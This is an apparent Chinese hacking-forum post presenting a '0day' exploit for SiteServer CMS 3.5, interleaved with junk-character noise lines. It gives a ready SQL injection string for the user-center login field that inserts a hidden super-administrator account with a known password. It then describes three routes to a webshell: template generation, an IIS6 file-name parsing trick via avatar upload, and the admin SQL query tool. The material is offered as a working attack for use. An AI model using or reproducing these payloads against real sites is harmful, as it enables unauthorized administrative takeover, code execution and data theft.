SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版

stieserver官网:www.siteserver.cn
0 r/ {  b* P7 k2 Y( ]* T
9 g3 v" O3 v+ _, G) ^8 R: W

% |2 R  ^" m7 N* AEXP:

直接访问UserCenter/login.aspx



用户名处输入：
  i. ^. q: X# Z1 p* {! _
9 c# r6 ^" X4 F, N% U8 P123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--

; P( R( U( j9 P

密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
* ^. N; D2 c% ]1 g# m4 h6 U
$ W2 Z1 N: `: K- V- [/ D: @3 Z
/ _2 ~3 I( |$ {; d* P" f
/ s" d8 S: U: M+ y2 K/ _" \, _之后再访问后台SiteServer/login.aspx用插入的用户登陆



& m8 w6 J7 T! l2 H  d后台拿webshell的三种方法：
, O1 y- L0 ]' G5 B/ i; E
6 X0 A3 f2 v6 S$ h( F* ]- U9 z一、
+ F' F6 t' |7 o# E' t
$ w+ x( P' r" T, ^# v+ A站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx

% G0 E; C' c/ d; `5 f+ l, R二、

( `2 E# r# @( s- G; o1 |4 h( R成员权限-》添加用户-》用户名为：1.asp
( H* j7 r9 {4 [- G' S  V
http://127.0.0.1/usercenter/

. n8 Y) x& |5 K7 x( r; |! @用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell
$ N1 y4 k" F9 K$ d, N
（ps：后台添加用户时不会验证是否含有非法字符）
0 n0 ]9 ^% z$ P: u7 X! h# W
三、

% V1 R5 f- }) n* Z系统工具-》实用工具-》机器参数查看
可以看到数据库类型、名称，WEB路径
+ P0 W' l/ ?; E/ W: ]2 X$ j
系统工具-》数据库工具-》SQL语句查询
这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。